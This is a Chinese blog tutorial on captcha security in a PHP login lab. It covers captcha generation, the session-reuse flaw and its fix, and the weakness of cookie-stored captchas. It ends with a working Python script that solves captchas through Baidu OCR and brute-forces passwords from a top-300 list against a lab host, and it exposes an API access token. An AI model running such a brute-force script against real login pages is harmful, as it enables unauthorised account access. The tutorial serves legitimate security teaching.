渗透测试-SQL注入-登录漏洞-验证码

已于 2023-12-04 11:37:51 修改
阅读量592 收藏 10
点赞数 7
分类专栏： 渗透测试 SQL注入 文章标签： sql 数据库 学习 web安全 python 机器学习 php
于 2023-12-04 00:03:05 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/fjc0214/article/details/134773153
版权

渗透测试-SQL注入-登录漏洞-验证码

    • 一、验证码生成原理
    • 二、验证码代码实现
    • 三、修改页面调用验证码
    • 四、登录的验证码校验
    • 五、Session验证码存在的漏洞
    • 六、Session验证码的防护方法
    • 七、避免使用Cookie验证码
    • 八、使用机器学习识别验证码
    • 九、使用百度API识别验证码
    • 十、总结

一、验证码生成原理

核心目的确保人在使用系统

验证码类别有：图片验证码 拖动验证码 拼图验证码 问答验证码 计算验证码

这里我们使用图片验证码

图片验证码 ：

  1. 随机生成，确保无规律
  2. 图片展示
  3. 文字变形形成扰乱图像

二、验证码代码实现

基于PHP绘制图片，生成验证码，然后将验证码保存在Session变量中

<?php

//利用Session保存图片验证码
session_start();
getCode();

//生成图片验证码
function getCode($vlen = 4,$width = 110,$height = 40){
    //定义响应类型为PNG图片
    header("content-type:image/png");

    //生成随机验证码字符串，并将其保存在Session中
    $chars = 'qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890';
    $vcode = substr(str_shuffle($chars),0,$vlen);
    $_SESSION['vcode'] = $vcode;

    //定义图片并设置背景色RGB为：100，200，100
    $image = imagecreate($width,$height);
    $imgColor = imagecolorallocate($image,100,200,200);

    //以RGB=0，0，0的颜色绘制黑色文字
    $color = imagecolorallocate($image,0,0,0);
    imagestring($image,5,30,12,$vcode,$color);

    //生成一批随机位置的干扰点
    for($i=0;$i<50;$i++){
        imagesetpixel($image,rand(0,$width),rand(0,$height),$color);
    }

    //输出图片验证码
    imagepng($image);
    imagedestroy($image);

}
?>

三、修改页面调用验证码

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>登录</title>
    <style>
      #box{
        height: 900px;
        background-image: url(./image/1.webp);
        text-align: center;
      }
      #title{
        width: 120px;
        font-size: 50px;
        text-align: center;
        color: orangered;
        float: left;
        margin-top: 130px;
        margin-left: 950px;
      }
      .login{
        width: 350px;
        height: 40px;
        float: left;
        margin-top: 20px;
        margin-left:840px;
      }
      /*#passwd{
      width: 350px;
      height: 40px;
      float: left;
      margin-top: 10px;
      margin-left:840px;
      }
      #qg{
      width: 350px;
      height: 40px;
      float: left;
      margin-top: 10px;
      margin-left:840px;
      } */

      input{
        width: 350px;
        height: 35px;
        font-size: 20px;
        text-align: center;
        float: left;
      }

      input[name="vcode"]{
        width: 210px;
        border: solid 2px red;
        float: left;
      }

      .login button{
        width: 355px;
        height: 45px;
        background-color: rgba(129, 129, 255, 0.829);
        font-size: 30px;
      }

      #def{
        width: 350px;
        height: 45px;
        float: left;
        margin-top: 350px;
        margin-left:840px;
        text-align: center;
      }

      #def span{
        color: chartreuse;
        font-size: 25px;
      }

    </style>
  </head>
  <body>
    <div id="box">

      <div id="title">登  录</div>

      <form action="login-3.php" method="POST">
        <div class="login">
          <input type="text" name="username">
        </div>

        <div class="login">
          <input type="password" name="password">
        </div>

        <div class="login">
          <input type="text" name="vcode">&nbsp;&nbsp;&nbsp;
          <img src="vcode.php" />

        </div>

        <div class="login">
          <button type="submit">登录</button>
        </div>
      </form>

      <div id="def">
        <span>最终解释权归您所有</span>
      </div>

    </div>

  </body>
</html>

效果图

验证码实现

四、登录的验证码校验

//根据图片验证码验证
if (strtoupper($_SESSION['vcode']) != strtoupper($vcode)) {
  die("vcode-error");
}

五、Session验证码存在的漏洞

当验证码保存在Session变量中，每一次刷新登录页面，会重新访问一次vcode.php，当时如果不刷新页面，而是通过Python、Fiddler、Burp等发送登录请求，则此时验证码在Session中会保持最后一个，从而只需要在发送登录请求时将验证码设置为最后一个即可。
所以，验证码每使用一次必须清空，防止下一次使用。
可能被爆破

下图展示的是Burp爆破验证码的过程，没使用过的话，可以先去了解一下这个工具

爆破

六、Session验证码的防护方法

验证码只允许使用一次，每用一次就需要清空，让用户不得不再次请求vcode.php获取新的验证码

//根据图片验证码验证
if (strtoupper($_SESSION['vcode']) != strtoupper($vcode)) {
   die("vcode-error");
}else {
   //验证码成功后清空本次Session中的验证码
   unset($_SESSION['vcode']);
   //$_SESSION['vcode'] = '';  //可以用空字符验证码绕过
}

//每提交一次都清空，会增加服务器负担
unset($_SESSION['vcode']);

七、避免使用Cookie验证码

Session的生成过程，当用户第一次访问服务器是，如果请求中没有带Cookie字段，则服务器会在首次调用session_start()的页面中响应一个Session ID,默认命名为PHPSESSIONID，响应的字段值如下:

Set-Cookie: PHPSESSID=sdl42a4q0c8as29vqp168mkuli; path/    //可以理解为系统自动生成的

接下来，后续的每个请求，将会在请求头的Cookie字段中添加Session ID，目的告诉服务器身份

Cookie: PHPSESSID=sdl42a4q0c8as29vqp168mkuli

在服务器端也可以手工生成Cookie

//调用setcookie函数生成自定义Cookie
setcookie("vcode",$vcode,time()+3600*24*30*12);

由于Cookie是在客户端保存，所以服务器利用Cookie进行验证码验证没有任何价值，Cookie得知完全有客户端请求字段决定
爆破

八、使用机器学习识别验证码

这是一种比较高级的验证码识别方法，我们给出实现代码，如果想自己尝试的话，需要自己去申请百度API的使用，这个并不难，看你有没有兴趣去弄

通过机器学习，不断获取验证码图片，然后对正确答案进行标注，让机器学习对图片的正确答案与文字样式对应。只要学习数量够多，则识别率会足够高。

$type = $_GET['type'];
if ($type == 'vcode'){
    getCode();
}elseif($type == 'text'){
    echo $_SESSION['vcode'];
}

上述代码：发送请求为http://192.168.88.130/security/vcode.php?type=vcode获得验证码图片
发送请求为http://192.168.88.130/security/vcode.php?type=text获得标准答案

九、使用百度API识别验证码

# coding:utf-8
import base64
import time

import requests
from tqdm import tqdm


# 百度在线获取access-token
def baidu_token():
    client_id = '你申请的API Key'   #API Key
    client_secret = '你申请的Secret Key'   #Secret Key
    host = f'https://aip.baidubce.com/oauth/2.0/token?grant_type=client_credentials&' \
    f'client_id={client_id}&' \
    f'client_secret={client_secret}'
    response = requests.get(host)
    print(response.text)

# 调用百度接口完成OCR识别
def baidu_ocr():
    url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"
    # 二进制方式打开图片文件
    f = open(r".\vcode.png",'rb')
    img = base64.b64encode(f.read())

    params = {"image":img}
    access_token = '24.8796578eda0d6b960219de051225bd2c.2592000.1694402426.282335-37566959'
    request_url = url + "?access_token=" + access_token
    headers = {'content-type' : 'application/x-www-form-urlencoded'}
    response = requests.post(request_url,data=params,headers=headers)
    if response:
        print(response.json())
    print(response.text)

# 利用OCR实现爆破
def burst_login(password):
    session = requests.session()
    # 先获取验证码图片的二进制数据
    resp_vcode = session.get('http://192.168.88.130/security/vcode.php')
    img = base64.b64encode(resp_vcode.content)

    # 交给百度OCR识别
    params = {"image": img}
    access_token = '24.8796578eda0d6b960219de051225bd2c.2592000.1694402426.282335-37566959'
    baidu_url = "https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic"
    baidu_url = baidu_url + "?access_token=" + access_token
    headers = {'content-type': 'application/x-www-form-urlencoded'}
    resp_baidu = requests.post(baidu_url, data=params, headers=headers)
    if resp_baidu:
        vcode = resp_baidu.json()["words_result"][0]["words"]

    # 进行登录的爆破
    data = {'username': 'fjchiyzly', 'password': password, 'vcode': vcode}
    login_url = 'http://192.168.88.130/security/login-3.php'
    resp = session.post(login_url, data)
    if 'vcode-error' in resp.text:
        print(f'验证码出错: {data}')   # 用于对验证码出错的再爆破
    elif('login-fail' not in resp.text) and ('vcode-error' not in resp.text):
        print(f'登录成功!,Payload为：{data}')




if __name__ == '__main__':
    #baidu_token()
    #baidu_ocr()

    with open(r".\password-top300.txt") as file:
        pass_list = file.readlines()

    for password in pass_list:
        burst_login(password[:-1])
        time.sleep(2)

十、总结

  1. 本文给出了图片验证码的实现
  2. 同时给出了验证码存在的问题，还是用了机器学习的方法识别图片验证码
  3. 完整源码见：https://github.com/chengstery/security/tree/main/linux_login
chengstery
关注
  • 7
    点赞
  • 踩
  • 10
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
用户登录界面（存在SQl注入问题）
qq_48692860的博客
06-15 1877
功能实现： ​ 1、需求 ​ 模拟用用户登录功能的实现。 ​ 2、业务描述 ​ 程序运行的时候，提供一个输入的入口，可以让用户输入用户名和密码 ​ 用户输入用户名和密码之后，提交信息，java程序收到采集到用户信息 ​ java程序连接数据库验证用户名和密码是否合法 ​ 合法，显示登录成功 ​ 不合法，显示登录失败 ​ ​ 3、数据的准备 ​ 在实际开发中，表的设计会使用专业的建模工具，例如：PowerDesigner ​ 使用PD工具进行数据库表的设计
SQL注入-验证码处理
m0_61974571的博客
10-12 943
当验证码保存在session变量中，每一次刷新登陆页面，会重新生成验证码，会重新访问一次vcode.php，但是如果不刷新页面，二十直接通过python，burp，fidder等直接发送登陆请求，则此时验证码在session中会保持最后一个，从而只需要在发送登陆请求时将验证码设置为最后一个即可。接下来，后续的每一个请求，将会在cookie字段中添加session ID，目的在主动告诉服务器，我是谁。核心目的是确保是人在使用系统，图片验证码，拖动验证码，拼图验证码，问答验证码，计算验证码。
04-SQL注入-验证码处理
tianxiadiiw的博客
03-17 191
比如短信验证码，通常会有一个时间限制（5分钟内有效），最好的解决方案就是使用redis缓存，并设置key的过期时间。验证码一旦生成后，不一定必须保存在session中，任何可以存储数据的方式均可以，比如数据库，文件，内存，或者保存在Redis。添加码源：vcode.php,基于PHP绘制基础图片，生成验证码，然后将验证码保存到session变量中。图片验证码、拖动验证码、拼图验证码、问答验证码。2.使用图片来进行展示，而非其他手段。1.随机生成的字符，确保无规律可言。3.尽量让文字变形并形成扰乱图像。
JAVA—生成验证码的两种方法（代码+运行结果+总结）
热门推荐
m0_61120771的博客
03-25 2万+
系列文章目录 提示：这里可以添加系列文章的所有文章的目录，目录需要自己手动添加 例如：第一章 Python 机器学习入门之pandas的使用 提示：写完文章后，目录可以自动生成，如何生成可参考右边的帮助文档 文章目录 系列文章目录 前言 一、pandas是什么？ 二、使用步骤 1.引入库 2.读入数据 总结 前言 提示：这里可以添加本文要记录的大概内容： 例如：随着人工智能的不断发展，机器学习这门技术也越来越重要，很多人都开启了学习机器学习，本文就介绍了机器学习的
Python生成验证码【简单易懂，代码可以直接运行】
于笨笨的博客
11-04 4193
Python生成验证码【简单易懂，代码可以直接运行】 验证码一般是包括一些随机产生的数字或符号，请实现随机生成一组6位验证码的功能。 每个字符可以是大写字母、小写字母或数字，有且只能是这三种类型中的一种。 点个????吧，秋梨膏！！！ 代码如下： #生成验证码 import random def rand(list_res): for i in range(0, 6): n = random.randint(0, 2) # 用n来判断随机输出是数字，小写字母，大写字母,rando
验证码生成原理即Python代码实现
qq_45306986的博客
11-05 1621
验证码生成原理即Python代码实现
软件安全实验2 SQL注入实验
最新发布
06-19
DVWA目前的版本共有十个漏洞模块，分别是Brute Force（暴力破解）、Command Injection（命令行注入）、CSRF（跨站请求伪造）、File Inclusion（文件包含）、File Upload（文件上传）、Insecure CAPTCHA （不安全的...
web渗透系列教学下载共64份.zip
12-30
web渗透--61--JavaScript注入漏洞.pdf web渗透--62--CSS注入.pdf web渗透--63--会话固化漏洞.pdf web渗透--64--常见的WAF绕过方法.pdf web渗透--7--识别web应用框架.pdf web渗透--8--配置管理测试.pdf web渗透--9--...
python爬取网站url脚本——JSFinder.zip
12-31
总的来说，JSFinder是Python爬虫技术在渗透测试中的一个具体应用，通过爬取JavaScript文件来发现可能的SQL注入漏洞。学习并熟练掌握Python爬虫，结合JSFinder这样的工具，能够有效提升我们在网络安全领域的专业能力...
网银漏洞修复汇总
07-12
SQL 注入是一种常见的网络攻击方式，攻击者可以通过将恶意的 SQL 代码注入到 web 应用程序中，从而获取敏感数据或控制数据库。为了防止 SQL 注入，我们可以使用参数化查询、输入验证和错误处理等方法来确保数据的...
java验证码自动生成代码
05-01
利用java自动生成验证码，是图片的格式哦
验证码生成代码
10-31
生成图片验证码，有使用方法
JAVA动态生成验证码的JAVA实现的代码
12-15
验证码是JAVA代码自动的生成绘制，适合不用JS写验证码，实现的功能更好
ASP验证码生成代码包
09-08
ASP验证码生成代码,支持数字和字母ABC,可自行扩充字符矢量库,可对生成验证码的多个参数进行自定义设置
生成验证码图片的代码
02-28
python的生成验证码图片代码！简单易理解！python的生成验证码图片代码！简单易理解！
sqlmap-master.zip
11-05
Sqlmap是一款开源的自动化SQL注入工具，主要用于检测和利用网站应用程序中的SQL注入漏洞。这款工具在信息安全领域广泛应用，帮助安全研究人员、渗透测试人员以及普通用户识别和修复网站的安全隐患。以下将详细介绍...
JAVA手机验证码的生成简单实现
code-king的博客
04-02 3765
public String generator(String tele){ //利用哈希值生成验证码 int hash =tele.hashCode(); //加密 int encryption= 2020666; //用hash异或上加密得到生成第一次加密结果 //这个生成的加过永远是固定的如果加密码不动的情况下 long result= hash ^ encryption; ...
生成验证码_JSP源代码
shengyin714959的博客
10-17 361
③最后，在登陆页面上把接收用户输入的验证码与生成的验证码相匹配，成功返回TRUE,失败则返回FALSE;// 随机产生88个干扰点，使图象中的认证码不易被其它程序探测到Random random = new Random();您输入的认证码为： 2.code.jsp:生成验证码图片页面。// 随机产生的认证码(4位数字)1.login.jsp:登录页面。// 将认证码存入SESSION。// 将认证码显示到图象中。// 在内存中创建图象。// 获取图形上下文。// 输出图象到页面。
一个自动生成验证码的代码
weixin_33989058的博客
10-22 193
package com.action;import java.awt.Color;import java.awt.Font;import java.awt.Graphics2D;import java.awt.p_w_picpath.BufferedImage;import java.util.Random;import javax.p_w_picpathio.ImageIO...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值